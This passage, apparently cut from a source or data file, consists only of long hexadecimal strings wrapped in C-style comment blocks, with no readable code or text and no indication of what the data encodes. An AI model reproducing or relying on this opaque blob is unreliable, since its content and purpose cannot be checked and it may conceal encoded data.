ec622eb2c01577e4368b3efd060328d1e7a65ab9479426ff16684aa826c166b3c370665ec51fa2f7b48919c09b50381f815befffc5d6e7bb3c7884c45c48c1479cbd89ea127611aff98c6890efc41d1c2073a7869ddc92e9884efce66193a3cb5ecefa2729c01df7a5525c66f527149970e31b795d46cb2e750c693f87729f556ca5baa1899d980b6ee3ae88456f2c51d86fdf330a7c8f1dcc65e20aca6e5110e1cef4aa9c5b16d740ad0fcb0949cae0cbfb067f80786e8b98d0e65183a589675ac73ce3f6d53153ff964c0bfae3716f6068848b2c927de92e2a18adcc8c3f8676991af4858152a24be414ada1e76a7d689746e40c2ee33fa8c2562c43cdbc9dfeaa2455531d2806d4dc5e03112457c821ec445e4cc4bca328b75557ed0d99e15bf1c8de95a5c5275d094b1931296839622221d97a473545d4cd422177d7d00a411023181601e44f0e9e55c0a31b008a6f6c710438b7fd2e81bd8198aeb8b9660988d30f6f7c03464a725b4804085b38ada3923c2bbea8f759c01fdf36f514742046721893b83923934bed671f8a09786e7b1a43252a77d3b8171fc6254a89b9453516e9d1ee4e840c89564779dd6b946d16c307716d67c5fe63084b7fa4cb941b3f1c0b07235e67bd5d21ca017aa791d8bb322080c630f97b4fe5739d6021cada19a3415797b8e72ae709f5bdf66ae95155701c64e3e7a29ae64659d0f2f93ba6452e9d28e35f04ad49e4f8b57a89263d2856f466aab4e196d77af4509d89e4b1dedd14e76c98ce165e61c16083ca8d36e5bb3c958554a8ad070527ee5c28684e5ae6f317ff5cc3955cfc30074384572062d20ff86d77c8ab74f6d3d5662de5557d2b9ef82095b7906221ab9d5b3d77109074a4b33076892de031a80e88f33c7a2de57878fce56c701a8eb4550cb0bc73ea7d6d61d486bb62a8ea72a6b03081f4e6b5541c594bff47c41b12e3d6648a50d90d75fb4b191370c9ccbc520e433c29dec3c1a902479e77f224f51567fa1ccb975c2fbfa30db12a7910397fb29ff4be21b7015204a0bf9f5027b60b71f9f2ee42a2e61003739eb6788a68ff1dc458b7afb014cb28dc0c729d31515f5b159f67ec2826314b6e18dbe1a57e4e17bd4c6a49400409da51ca107c37e8c2e1e28950955d72de162f068624b0cef0110db9367c9d20b16c3b49f64a522c7e5f49d429c814a4cdb54f872452bb1b2d5b4a91b8b156cd0adf109e65d02b7223e32451106d5310a561f258a52d188f46be363df10c690728bd04fe2cac7eec608cdca3c01de98ba206bd4e72aadc0346ddfdfd1f49fe29609bc90cbc7b60f8f6151e241355e40a3c0d0*/
/*704d2d5f1850332b71845a0d8ad7e62bdb94436b19813cb6943c1212643255075d4808d8e9582c2c39ea40aed0ea5427d09623a891b04fc292765d4584150144090c7251a100373784a919ebc7d9da241c62b064d23bc52cb83896070ba42d527087872b6bc5f2786ff5231b401a273276672a0e131a0ac0b05fad807fb4fd7699669ffb0ed03882dd978c1035fb6d72159e91e27ecd9a29a21212df98a9fb6f649522da748dc35808f51ad49e12ca1abac78a6cde2b320063011f4f49fbf1a6f8d0c693d57b7eb503d3f65e7e2d8506ba8b82c98293d049eeb8275795787d5dd23d83cf146142169dde1e0d1767b88824ae4c568a25cb1765889cdedcf52d6d48bab1b4980ede4388fbd628e19996dae3cfb405ea660e13150ff6192792758968fdb93bea2f9f5878bb1dbe821a2937373be0c430c55663fa37ae43bfa0a2c1b6c9c61a15c9dcda5b8e28357fd7407303ab1cb7bb97ca28829b7260f935fba977aeaec7d5c6b565e7ae3e67d070df56f4b56510290072fe9447acebb0899db76833610b3d212c639edd106b478cef2dd2e6d64438db75102b629dd10196fa7c617f37d63287888618234438a3ec120d39d3a90f65d63dd4ffeade8ca32c086db62244eb4a48c235f9737c628555cacac150e8e7a2dd081e69ec62e91a8623b2d9024f1acdec8f432e8fd86a017fdc8a917eb953b375dfc9c095fdbaab8c627a71b8e07254499dbf92f86043905f5747a4ba56a2833efd424926cc09665774261688a166c15ae425bc7736a528179e235eb3ed2a5672d70298e0270679dcc0b539edfe4ed6528bc668bf684f15a0753b75c6025df526ca3375d060f2936dd7d84aa499b539c1d6e7229f876c4c03b215eeaf2e37adec4462db91e4faf1608e481f635a5a5717aeb1e3af3e710a7708579960dd78eb7e9ae5573afdaffdbc3dd41e1aad5c848f5121187ce976780345438fc08eae9b5769890d234c084620fc0403b13c2ab59450a6a1a0d63598fa7380a8d100bc1e3a54c8fb487e2e63489a2fc25a05f361a24ebb71cda927bb0ab187594052ade7123a765645cfc7ec57be09aba35177193a0f76a222c8ea6a698530e65805bddb0c95da7d2889dd3ed93b1755c5e23e7774ee87e4df4db7d57a9567a545948406765dfdb58396423f0080e24350e2963d64417aebc15025b0657c772b35877a441abd5e44f143f23d45a99b929650d8770ae4ff52090e57172e82efcf60118c1e9bf36bf349e280b4d118a75f28a31e5618658f3efc807147d87cd7922242ed2238ce551f2d76762157b92bcf6d76de5db335a527c5451c2e738f9b44db34025bbc1ee2679194bb3fc389f2a14952b597c0e6dac3b82d332711164321d20d61c4b7fa229314c9ce0ced7edc1563cc06e852a2c65f62ad68569b3a882437eb915157010da9618326a28151772b4595d1d94fcff99f3d2e7ecdd4e4842702b2dff3929e6f58e98abf166a4ea4789ff790a64c28226ea78b1cf87b0f925fd933c4954dec70a563cb07806c377e7e7f033030698415cce2c182b21a519405603a87e3d30d319596f57cc03aefb850fc48a60b26aedf0b1f39d08c1f61fe54a84fc2fbaa8f637611f5d2e8ea454c5d55ea030e598742329e479a62661b2f54a26dde3acab8e049544ed9a8343a7c0781fda4903075b2ece5d862da7bc50a0f1f69ff6dc76eb57140a993b62f776f5b3c1377ab2b342a488c34e2fc67f52f7a87d7b65c55877cf125d4e86d3309e980bf749f349e7d3b5a51d9a2c9b633f5a67c19fd86f34eb1f8b8fad5795865ff11c056d1f1817debf1b581e84921a770dead9b021e88a3dc348f4b6513b7370001728bd57d5fb9636b06517e962cc3c656383908b033c4c9ebbb7e7f233ee5bf2c7591846320dbd5713da3eb985072497ca29d1e11b166f10697398666e3c6ee21010e7aa8c0f0d90b2f72e5e466521edaad2bacfd090312b116fa81670ae378513667297fafa35eee2974c08d6fe7e518ac13b6134e4fb87aab121874145836e2313b8e4f62f23917988133278a4acce8ed32ff349b782f4b97c5548ceed56647e2f712d4f7c6a578024559b688b62577d90aab1c4e0d6da7c3123ad7583534237f3731fbb37c5c7541d953533f142648ca54f921f70151b2e6f7ccbcc8ed80c866c9dea4597f4bc5152cd0cc8c530fca31e029da97f3ce484242e66ebf884083d6c94ce02633869376a1757517719471233f82cc769c2af40cd4f21c72f83c992604cc34c0c10bb9234f66e6acf5e87914313993cfff2a0ca055bae78c3c55b88e013b0fddab1c9c22e4903d466b6ed5487c4bbde44e189e1718384189e2d1e6cbad30cca3cb04d8b6da8c775437ba9ce4bc43c41375a4c445e8277e87aa83a8f015c4207cb797ff30115d3a26f2dbfc5d1d841d87398afd58a9eae2f85c775ced6ac7acd67212e780c1baa6ff7756100b86856107ace18bc81ce92c444d5ee70b3d7ba0bab8ff9e05c58ee5486486758643442b25fe1f8b8d0db4a2a7d2036b084da0e9a196f544b5ae1433a5f80c7681ac5457dd559e83d7f257abffe349b2e23cb9a34a49fdffc11093aaed053cfc7bc2c3ba8e74312d9d39cfd06c222e60aa0b57530d6805dbb2af0ddd5d9a5e1aa671036fe8ab26e36fee84f7936dbb7b3599e00322137d2216fd8384299700b60e2fa510748fa013e39322032f08868c3f6c391fed0121e61813199b2b4f9bac31e1b68817fe636b649fb1eadf0e66c4c389722478790b6ded45bb6534e7032183a4d52811ea9b4756a43f8e32b07fd8832902e9b13d2de5acb6f592f40da4*/
/*47e4bb2fac81dbccd5b20ae11fafe9ceec54b32e776a9d83860b62d080aa781c607162986dd75116d8ab7e538ffcf962dbe9077973fc0ef3433c3afa7f2a41ff2ff404f7f8a5770af40f8b1eb872268fea01745ce8a0b8583a2316beca45f0d54b1d0a32fdce8d8f1428a9bdad65326f630ee657ec523f8a883b74cbc55ad0fd8ff6a6fdb668bf23d0fde3bbb8f94fe6353a58fffb0fbfa3d65279fe8f76b6ec43a984ac736431093944293fff94ea8b36f510422f53d21eaa82bc4440656b8f0d06a922f679e83319185d5ee50a01012d87767ab84b9fc1d952896a4b74511b6876acb1de92e91445ef50a2595dabfc361912644e4d4c0b10e62c4bf062db23d51302da1f44e8621cff1d9a3ac6c5d6c63e415f24ea53660c539f7d5aed037bd1418a38bfb7adc436c550c9c390c2a5e7fee269c7e6e3c60ca006525217d4627afe1a7ace3900a426b2b02749095b8685ada1c3726b8700368950d86eaa476ba8f47d2339d355fca4a8b8ac18ddf8638c9fbbcdb4a917b3775c4a547ff8669f9e742ae98428894411436f360118b5a8cfb276fb9ba23986cc9750c463fd6ab7cd81be005b083a7b2fb4f634945141602e03828d4bdfac15827f39904ec1307dbc34ef3dfc6121b3f4b7db5922f21aff74bad28087be5ea3007b7344e849825f595a02a0ef82fdb3e20f912367f48f821b73a881c91ac2d51745eb8cdb94752d610bc94ff0134bd7ef19c7488b3bfb2ce7a61c5b4702a79ca80524630b19597ad6aa02ed8a5b863a0177a18a8ef6e27c5d8f4fb35d3d2117234b7197bf3346c2682fb06778766289e4368d6d4b1d5818e64d82873235a9387042d63af90ed203b84b24f7c977bb32660ee270c99abe9676839411e207050fd79d6f5293525ad7b2ee9401065adc89b26bee4a1ac7abed6d9cac44d205695522613ce36b34413d19a250a5bbb0782ca08df6fbd568da43eff6995fd47e1cd3262e69dc303d5662ea171861d581e074260bbd4c20a97c3563c09b2f1916ef666232272973652cdb7cd4349f15fd888e4145e8c5603d0534402644a30005fe2b5d95661cf537d4911a2b651603eb69865923e1bf0228ab700d5a347a3636cc14a24729443e29b9af7262b6ac4e25b2cb1a6c68407c3bb19e25c03d9ab61bfdb9a6e7d10afe65ac33a8b8717191fc3a9ed977944366869b93f36844f84eec40e2b13943805d9665506d6f7865780500b5984b45597ba66b428b518377fd6321f4409de8f30f7fee40fa17e91bab08f79fca4327f64ce357b7db26705ab04d7e961d8eb0165a74dfc40e32cb5c456d24160bb339885128aaf1f708803c677d7c7fb22de2379237af3caf77525dcda7937260e0398efc49698a8b3c0c9d5a3057ec8e8102d7341506654a25495bfc22526ec6d28e4314e9318d816fb54b64f3f97df2b11b75f9e7c75ef6592b8edd1b5a777e243210db8ff9c909fa7f093b5d1b08052a9440a46acade1aaae2e8f7348c6aa69e45e86aa0162ce26a6419f106f971e6826e4eaf20bfdade522ae682e1269133789c93ddd3270d58835368711f651dbc6b2e128fbaf84fa1c0c8ba3baf6d9346c84f258ee7911b717e7e3c4029045682e143ece2436f38ee9d93d21d86f950df2df3fe5bc1bf16c15fb9876a67678749fd3dd881f81062da0e4a0a5e564daeb4b72eb6c8bf7ab628a4e4989202c7d8ba2a58ad0e2d24f8f9ee8bb8cc8800ac2a6d69e7e6c14c865298ced81f487081a7134f3a8899225d67aca04de93db9285727a058245d7c19b81abf8692a79726de54e9d63f23403ff5b5f3af89a52bb6b4991971d22d1daa4ae8bf1b033b70c892e6459639767b2e934096844b3c29451ea58e23e0fc823054cd6b8b5a41c75f19721e06887b1bc06d58b26b1457712895948a9a4849f83ef8e35ce395ce1a170b4c89151deac9931f2ea70a6eea5fc20fd31fbe586150a7b614a8e7ce8f8d8337356048e4f49d54d1028229f15137ad324613e04c369437980f1038e303182ed3f199094ed8250a411b46ac7c96132a3baa47a19454e4feb8bcb8328e863ab7d0764f122df0aca141ca4b5ca0415852303fcf10b604d99d4068be3d81a32796fe71bee8eae766188aa25e43fa12bf53dc4ba1e4f20f8b50ff61312a7ad238fd5cc14939651ac3d2c31f8ece5c2e7d6291e8fc4b0d4140f9405f5511c786a0d593dc7372705d3c2ca387bcacc64767e3f9bbb503f740628eebb6a42a988deea09142a237c36ea9ac3a0869d95e6be0243a3e8ab4c7f0313b8f29ca6db987988d5071b1b92e75a6e2d9b775efc26dae7b888adb6efffb8b2f1c451a67fc455897ec5c51ede3f5e067bc8e3033a0328dd8a1a7a72fa9f4a194171859b15e6d73a62476b18b394a4e57461707c6339b5c40e356d57083091bee53d7b804ad8311af51095601086d91779ebdc5f0e484b895be84fb00f3037fbb313873530c6a1d41c87d876e1bc535cd0ef39e58d3061483ac9dad28753c6f41a084d21ed0ef1d294b5596763ddf47a5a7d8cfae4651ec7537b73120dae66d2572c6e9fc5b395ff886b45150b44623dd6238fdb1ada8c2fc59dcc8cd8b0dc300b91d2c6a480d8df5aeebb315952adcdeb82f4565a9f0e83ca4d0bd8d24e6bb08b68eed9ca8ee763474975ecd59d3673d8ecd046d50d753938a0abe992abc20550f75a0c55261ecf6e96c63a32f25c9ed16079035d7a258640a6f86d10898f6f1a5450cca9d1a8175dbb1fee71c9783057eae30e52a7ff68e062c3a1916814ef5de11e27a3af92b5f491a1c2ce8a61790cdf7dd043df0d0c1fd75c4192436a2a1*/
/*134a79705a70f1119d10380637e11d77f1c00d4d5dc3c9db0702ded959ff116f2c05651f25b996ed4910f618117403df7112977ab45ade13defcf31985ff9cdf65bcc564b88f16ce310c6efba4fa024f2dce62165ff1218c6c08b8382ad864fd8940ad6e0377b59cc2ee799811034718f2cbdf748c47c63a4c033e6724f04c3a71d4eaffd7db2f2e2a96d09f5bc031ddae1deba5a1e963f94dfef728286226afe8696feb13c10a8cb8b113c964efcb1d70ebfc060fb907f679b11a17de05e5a850c3960445d61331789007ca09ee192d1946093029593ed8bc0abee1078073a639710b30f8b0a28f6e9cdbc1906e848bffcedaedaef69fc5fcc205935edda7067707752ae581b5f97628a84aded188094f53b5c96580ecf0bf4ed986406bf1fbf97b3e4021f6e002a7dd0d0f252d69b8c3cc9e02456a2325598521a0bd86c14ede02ba8a95c30604a4e79240d497701ef9fff4c02d743594bb56a63f4aea3b649f922a7d76382dffe3a2bfa5a71e4f208a6a6068f83f5ee926b66b1de79b7fb93550c351f802b2f4db2f499690f1a3499d5233b32be7ce505d147291658881cebf684a96ec8d98b351f5fd1474d7d095112fb31018a9cb113c6c8a27821c548c9edf712612cc9f516a1667a995eafde93a2ba74943e42fa1ca082c7a43a48cbc9364f31e913da4c7fdd53cd221553159e63df249553f19dc4db3e5eeb232e409ffd67eff51d7401640acdd70cc617fbd204e3ff8becd9ff250bd2b89de2f2e6ac3b849e8dba164dc2d6476e95df0760ebb4cb245c88571964b2ee498a959e5a521dc32170957962dee9bcd65c8942647e521daaedc88a0dea00b6ed655ea7c4198343dc73b7fb2a618fb4b3dbe9b9419e397a7e50a3d2e3ae52dea3f9e0e22b764d388e49b6c457479b4063360579b127a70a738b0404964bc48944bdc7adbf1d9d1238f882670a8e641807bfec0597d5264d39134ebdf0c00637d59ee7267e312cd2d6539d4c2dcbfb81cf235b52410f423d65fd7915fa5b3a2ec611c88424b8bd640d01062e22fd96ecbfb5ab4b0e1e1478ae3519c03718e50b45f653d341d57e9b2bd268dc79d3ad52da71aefcb6b8ffc91b173099cdebd3a24022f6e4ccdaf40b44af8611df8e027fe1b24014d67956ca229ef85f04296759f0d592e00d945dadb11e653f018668a12ebc9bee513f1bf53f49c7e3da2a0fc1bf413131f44980e488769c7f8ea0374d0c2911f54508192e525c1a29b197a7da40f2c72a679904bd93870e47ecd927913d276619354f4875d7e15d1eb72ac5b043862cff8db32e1567dd872d1f3f158393c0885d53ef7a6dac079ced6756115c27ce21ce5e40011249926711892ae777cbe50526da52cbf791afc00981601889b3fa95cddb2d7dfca792ef60b129688a0e87b94eb12ec688fc63434967ef76f230e3290ddd04a05a9aed2a6019dc64cef11b1ada0cac399da00ef62ff5a856914b955a97cb9ea7340f64eb51c778b61bc5cd27a86655f6e871004101b743807f65983dff7ee44744034cdbe28e599b6219859a78059e7fcea8109c8bf9f58598a1b90db7302c4c929c2d0c9520461cdcfbc7594c616baef56ce610673843d5ccc3d14d44347f097d4110ff1fb25d358346c9b3baebfa16cf4a1f97412ddd24630fd8f5f0113c048ec2dd9999c85070d20386be5e57c153b872ab51d8774909206989ccb4bbceea956c4264ac7882462826f32d38a3237c38bbfdccbf66a09c7b311a7a893b1598eb3c4b9dd030e376ba1eb4ff16a301c54c0d483fce611adc6e90877c8c07f1e6060e09bc58cc945ac579f9e90a5544abb6cefdc5e4dafecd387c748f2b2fe7edf9b09094dd54de20b59fa921858be4d85747d61ca8caad9e3d286becbea59901e09596b68705833ae5bbdb26eb5bf51a282f3f722d39ec048d62a81195092dd8ea7820c19e1d24a084d31e1546e5669230a488f797a10f6f401bd70275e35464f4ba872e100ca606f4d9fd60d2f406229928a5586e84f4302d799828233de22ee08f63cfeb9d2cfa3ec6d9aaf4cc06a2889e1b9053776a760fe582153c495cc808c0ed84a6c0573974542e65888f79a2c0211d47098f9f35e3ab2925c5eda6908d3afbfe18ed80158ad448203af5dee10186f5d11f62a9ab14f2aaf38e48835d5387cd6c10e5236cd2bb568f6f3ffe8caff1e8f1504fb94b08bcc117661c06e251cce92f0f6d06ca499e587f53d04abcb8ac78446b1e81caded0f70dc4e50d1c5d9da9530bb5ef54f7146ec2c0a803536c18f3d169fc46df5f28f2ab0267184f229d7df959cc830c63d5dc3e287bbd013c2880f248d893bb6b388f8a71ff55f6b3d35adeebfb89336c6a0bc3c31d8605cf2f2dd06ae518a466ef36f8b1e1580d41c58f402694511978cbbcbc6b421b1a55e1ed909522c47eb713f74323c49207e6c9dc35d5e38d5b1b9b24b0eca806875a2634ab26bafd63ca3490640744479d983e13a37da0394d82afef21df016e3cec57c9997c6fd12b4d78ebd014d100d6af676a70f361210eaa5083a01938ee8a92863945089fe3d6fffe8a47877be56dae7093e7331172ccbf4e7ae968b3c5d4c684e5c23bdc5e8157707be4bbc2c17dbd47862cf795afc3e45ec16d89cc98bce73b6cd1abd98211375dc2cca4a7849929c909aed8dc6257ef109d9a91bde94f850185c1a44e54eaf7a6ef47e7907b02ad4bea0461f0d630dc6babdf896796b20cb9d82b4c316a45bb9fe55a732cd7bc5e005b31bd5087bc8d1614c159d39d6b3fb70762953eaf51dac4673541bf0076097e66390ef8dc09fb693c1a6b7e8*/
/*3467fdb2b099832197007e1cf00127c880c5fbb5119411bc2953c6eece0928cf010227f50351d211a11667a5d11ae8482a3f4f886af6190b39653f8283549a2cc9e26ac1d0480df73203d6a8ebe85c6f6b3fc4acefd5084605b67c1e950dd7dd342e6333f0f1dec4a57736b5abac2e961c55ace2423145abf8a6a8b3a55e24a49070cd0fe94b0248655eb6fcf9e7c9e010e088c31d0eebb71913871f8302d4a54ef521b946080744b7c8e27140a84cde5d938975af4dcfba28f5eb952ca7f9ec77e761fe7e0ee9d8ee6ffac5017946e792bccfc2412f58c92d116f1d279646a6bac6663b6decd20699b8bd29f826d89fb6fd18cd5a6c6bb13197d688b5c553195d8557249f59efefa639e3e4699c4cf5b3591b9c050134d201aa6768a0fbf8200e717d8e2131771487fc687ec2be04b2686bd7695bb6892ed1e475e086d785280b98d8b8a79a37c5cea6188f3baf6c11a18b037b51d316ce362807d8d628d89a1de4c49707876a333d6846840eef6ea9efa27b925ce577df04990b71996fba30b7a2f53ca888e6131611d6ab5efba37ed93f5f9bb939f1e1c8f6cc4aa8b317943bc9591ff01cb24c2e263213c6ff7184ea680fc0f5251c2859c7accf554900393574068e97ee651aa1d7fe3870bc6c430a2f14b5216e2f5d39406fe31304ef3e86018ae632ad8946032549291cdebfe68877c5c4a8fd41ee3798266199f195f654135188076fc155e10a5d5ccc3e9f13461cb35c1119dd53bc93a37bdc03ada462ca204dc7d8ba76b48f3f41aaa13fc7f122938dcf4f8545a94770bffd3b8fb6682224243fa5ef6343ddde3c4559f3b3b97c4e7830ea86f2a08010079a5984e84756fe07aef08efb2a9b034537a1e32ef8c4d42967ebf42599d8e878527549099526e5509b1d05199b477530cdb33cc90bb57e83492d83ee9c10a51e3cb02b85d5a9547993fde0ce173ffc100a138c6aa994b1a3a962192b5da8125d97a96c297ca909fbe193064fa32164d9eaef05bf524649c7e1ccf4dd5c0aa35afafea007f9c2890573a80a6eae36473473143354dce0c5f25f8246c6a283d402fbc775565adfed11501787ac45de0e42d642c1113109761dadcb52f7421ef1c8f07e9dc32ea3d14153488cbc292d582e2136f3db8facdac1580d5fcc730f7a8eff0b8640fae0f73aaf20cb968c74bf06aefd0ee1f9b2f74503c5a77533d8bd4b29642edc941f0b106ad92c9e352e6ec92a017f6948a7de5c9500ef4f393d0786c67443ebcdbe7963904440d58dd43329784a79fc536db8b8f3fdc9f2f6562b977aee150cb8efa3dc001633636c7051e7437a59ac0f2252eaea37469c23d901f8e58f3ebae943cef1b1286dd1e3ef71ecac5d76f857917c5af0ceb378704162de20f2734d0c9a8cd15e1d8ad27fc87d86a7d7599b1bb29920d9e3e4942831008005263bdbe0d5e91520c52f3d0a1e4c557a054ee4f2ad528b545d4ccc10fbb2f752fe4103f0d837cc280ea16bfd9e588c83429c30877a6f098db405311ed523144886ea9f3b67630a412c5b172dc4da8f2d825ada8f7fb54452beeea5763b3ac4a2bf26c64acc61a68986a4f0015a744db861914fc4a2790ca667e7c870cebed82b979da26e0cdcb78ecdd1e81ffe4f4273939297dcc14f01a8c35271e734cf15735b93757c22116edb47151800d67b88513626953d29d191d4f8b2c768dab1c3e50fff7e270c5f1200d59adaea2d98043e31bfa1bc8616481f4c5e50677ae4ece536b565295766c633d90c32882e9b8cd758b1ce8232ca04d8fd855091f1e3b2dcd426dad05dfd8c4bb561e15b81a0a5a344969fcdeb9a4eae7365da355a466a28d29808f5fd246b8068ef0b6f679287e192492bbf1600f7c6635d3b41c2947940ecaafbdda5422d812a0953dd66dfbe202aa0da18b41948fc79bebad1140902484c1b0815e9f98b4bdfda90edf659ced5ce03ccd686b698a1946cd86f97b58a4bf99b717efb5123f59e7c88b6a8404d44e0fbdee2b03418bd0d13b1673bf33e338f1d40c1bc7009f11c22e623250b79b953ff11ee70ce41a232bbfe916f5c365f3751105f2edc3bd7eb4691ec98c21b418156897ec16f465d77b25325047150fd170ae7e59b54d6f476663e0de73240fe51afc07e43ad4af896584a62472e990760393ad971aaf99e77b2cdf1458e3d2763205975f2609cc54f92e00e556852b48a07506d7495b893ae05c8c321057b0d1a346b014940b4a52277fe8746af5470d8015a19c78cb2cd04023d32b5496df7c8ed06fabbc56550f94d3fe19d35a395c95336a73a75e1e4c4dce7df5d5514554aa5e03891284f8236e39aaa96610b6fa5c92c2044ce15d54b32b0d8108456e37e24c920354fc0e2e0c97385871c16e304621ed127395da4daa5ec1b4faa358d99969caece10dee5bd6dc3314eaa67aaabcf3d32645801fa893c2d862c539c42d0db730044e722df62588f62da5f6a1f819fc5919bc32fb6770b7c354ce01f4ac4a4ce48e05f27da5b693d79f0374e07f0957706136ec52880652fa9dcad53bcdc8268834ef65dc493f6a3457c2476dba167e4eacd924ac99a362eaed39ccf6e75f0aa871c08d7edb986e7869037c3131395de27ca075614dc8cc0d68ee0218058da7ae913184bda924ab7547f6290bc04064659118e2511c4f03abc36c3a7077b7acb4727866478400b09a6318dbdb7b0e4163ae61a8bd8c7203fdbadc6b8d28c12eb674de3b2dd3c4fd1e25354ea36250076ad64c41460942b754f265665218d393321a18a635c2b36483b0c23c2587a15eae01973ea2bab52572e8da33f9669529d*/
/*e6d914dfeb07d31f692fe750491399a2d3dcdce01ba6ad597b5e1bcec86802838af1aa5f8144db1fba4b636157e41aa126a050da053c56f63d9c08c31a2f53107d09dcd357584285efac1ff572c1f09e4ff4b1587b182ae0f7c0b4b4f6c0affda6ca78daa8318ac6aeeaaa98e8431009b2322897ec8ea2632f2fc8eadf74d39d4c2e61b9bb7129683c415c38c2ef20c730072675f8adf20f390d708f0a15656f33c79532048eff10f46c43ec24ef02f7a15090deda3920a9e176d33256f92f9f3753fd48f29b42b9166d2b42880079881817c95a2154498dc8526a19f758e959181c243b6e800eb3d8baa5a76f779d7221037bc89eb94c009206c2767dbe41b2fe9aa397bdf6d2a942436f62891a35f64d39f97da0f6073d1be1b9752a5be219c0d7ff3f7fa428dbeadb5b97841081e1fa0108eb53cdb379f7d40b2f2e43952166003a693c9ca6ef8d8c8357ea4cdbba92d54c065ce0ca9a974e8bc66c2432b83395712df57f2558bed7e3a3c88ece16d027b03c2768352ce064b886e11cf8cde1eedce453d15218880d4e8b0e7d6d7fa5cb0595da246873fdd5d145f48d7edceb93fa3db9d75f4336db01970c456795fd5a8ccb8e2f10c3263cb4cfa28a1c8799235c9bc36a78a7a7da7cd7fe1634abdd72ea4514b4da8e9587a8facce2a42cc333f3c1271187d80aded42d813e9d0afd3aa021a1dc720d663dd4d7922deb5ee5466fa64ed40045db7153b3ada6699181105553d93a0f5e7e5b1b71e4a485fff1f006d76aea70c1276af5d5a18b6200d3a2b035d2e2361f5b9ac4fe66f69390a623ee8dc373c35077a9e9ae083130db990eb982cbad6d554f1fdf62c70e950a48587b69a435969974110ef2958b7c289f14afa81a52cbabfdd8c0ac4eadf58c55b57932ccdc62c74396550ebc86bff66f3cd1fa1c41913568d67faf77c086dba4a857ff669d515326a6c3b9f9b89b7607006d85c1a008c858a5794f6ae6113a9b56c52157718f0e7978ce2caae5e0030dde4a5bbbe8b2ff71ac9f89e0dff9fa09b977b6f189ef6036f33b4b187fd7a1188972ca7b600ece67354ab4158e4f98782df25d489d55218c8edb332284aee528cd9dffa348e291b144b113884cac62511f72d309609772c7a25036bb41edd7a3ad1e1a1b755468d84f4821677bb16e9251eeb7da9c3641615c2ea349d93a5b76da3a06aca0a730ab4d74e0f643ad4ef36964efc1ed47e44eecb7f9fe168995394d901c8d315e400d0fc7ff7c2bdc19083d33bdce6cde9affd9acd15c1b598f167af441a9b593ef71abe961bf6c32cb2043e7a05d66855d633747c20bf4a8d8e50fd6bb0467d3d3f10c07d582717f3bae2f278a2396992b010dab94c1555e7a32a78501db97a624189ddf49019483791950333d812a009ef44ab169cb7c8892d18ad519bd446aa0abb9c8ee5300bc15a68ac4c6f83be183c37dbe2bf9bc06df53791238c4789233efa1e66e37e539aa313877172a36658090521c52fc5f709c0682358fdd9d858c12045b7dd407ddf654cc399d9a535703193129b6c49a5f6e86dd4d284866840e543da10e99a03c8e11ee2e5a40206123718bed7a3b52ea289634e66a423532149a8d1492cd11b0c4f4ee440e1d1ab7c69bbe017388636d73ef83d8c46d15856bfb95de3097bb5142042dff0921c3257ce98f8368abd97a52afe255099dbcc7b7a851d621fcafd1c4b6b82b329427edd74ad3908e5576c82c78453aa67a66d6c5f0b330fc3cd572afec78d821e64567c3a3338871c83bae3a6eb641a7487a3d0c83dfc9c80f7a36caf68c1d6e9204e3b508fe9c5965df9ad4c20e883579c5b6797b9afcfd1063361f0ba36b6f1d9a33e6fa8cf723c968f2f2e573fef662a528db26f7016e6681d34f902f0c8b3f60b835766666d1f26c66a5de27f84c4c09dbb07238d74e86b94fb95350dea28361720228162fe92c3a630b75c356ab3868120d13b16e3e2b7c1bcc5ca27d16269bf0243e362a5b6e2aa2cbf0fd824f88d204570097bac936607cf7d9518e6ad1b43b5a980bb49d9f2b8bfecf3f497692965b6dd5c3799b6dae0cbfd149ca1d1ccf860ca060ed895edd60f13f601f3c962ad9bda16a9a8cffe53e7bfb340102b47552d60f03f9de313a8a2cf1d0e2d2b0c40cb4985e5181d632e749f94eb7fd0140500d4d168ea0373c4f1b5f191e4de08752b0b6c8a8345d7f89d075ea71d0b2dbf255a16e1030694b314b8e8935415f99a4b2cb8edae5f31e6ddadb2832dd77dc0812c0b197e8be7db61a1e66d096f5c17d8e7d92a11a6969ee12cada53567a1a39345928f50e84884543422ce95f4eabf02e6d2427435d7fadfb170e87a0ae21cea2b825fac5a78ac17e29da4048c58b3a2d7dd648c0a501f1cc365a7ba00cae22169f3d91209634f091393e907ba8f6e3e616be6f1b3194065fdb5ab618021f36b66c73f57248fd1199cabf0c9a64824ed00d7723fddd2a81615d1fe07a56e069ecaf5f1dfb8af9927b61901b9b965f8985ce7dd19a0bc5a97176ddb5186980a222e04a94acc470c18a8180f3ea9e7b51472a885a99dc0129268d956bb9bc278af32f70996bd953f2c056ec8e1584850472729f705aeea40771f2578a58f132b941a93a6ea99e86f64ffc3d987c61a98f0c3cfd99550f3ccbd5adb95da90d75936b0032e6f228466c52f2ae181eac80a22ebbe1e7a34b54926f5df1221c9459fa7e208148162da46c944196379d953da4dfeef43c85ad01b5be738ef4b1525241a6f0467466dffa0ebf708b78b8b855d0988937bfb94156ce9b3394ea207b39ce82ae4b55a0dc97d972*/
/*b779fb5018dc8712d2cb2dba62cfbedacc06e8fd80823e23f6f7a3fa974eaadf31109348c3a5e9a2093e05c623e34d91e9e7cd5f793c522b464bdf3dc1bdf1416a187e635be317f05a22a42cbf8b5ecee50f2b7cb7e366746697ce81cc7cc3e622bebc60b16590707c37b18315f2be2226f1fa979f80094e63a22645e983ade6201df4760d8889eae0b3e8d1641d9b653cd94ff99809e7ad5d4978d18c770afcd56fed499891405dbf4c17b288821e738cb1ec60ae4f9d976176619e61fb1b59c37a9010b498c92c7ffe4c5b813a8824bd817b4e18d0a1105f6c54d372bef99c4ec9603db117b2d6856fd13dba5973eee76cca08f1e3c25e923a316a1ab826a9902101f2a8e25f6e7ed83f084546546f50490bbd7fa93df8bc8e701b10a0b50f38c804a05b68d8ae4f77600e4ece860e4593318e7c9cfeffbdd2e6be09be22d412d0bd3ed670b0c2f09bb1cb05257481232214975f9f1475ce8ecd9b598fc5ee83a269e20527552023c5ba88e5046af565a0abff12c46e7c4560850d92428a36e9ac6e240249dd967eb82e0b805b10791b8c4f1e9577fc062c825a47175b17a6d788fcb0a4710363aff4962f967485ae5a93f8260459bc981e345958a326d74aeffd315002b33d3fabafa48c07c2e274ef639a44ef23f43b9c0c682bdc32e258861692406faa492bc957aa00978fbda30e5297b280e654536ac5f27471b2f1315dc19942ceb5f4b9a4697f907526867d2f47b789d761aefa9703d35402a066ac0d7e070ed8e988b824d94b8b58cca0f88e768170633f4aedb37c4fdf53fb2e62430f67c94ff9d0f69b7d1984f12b8b39f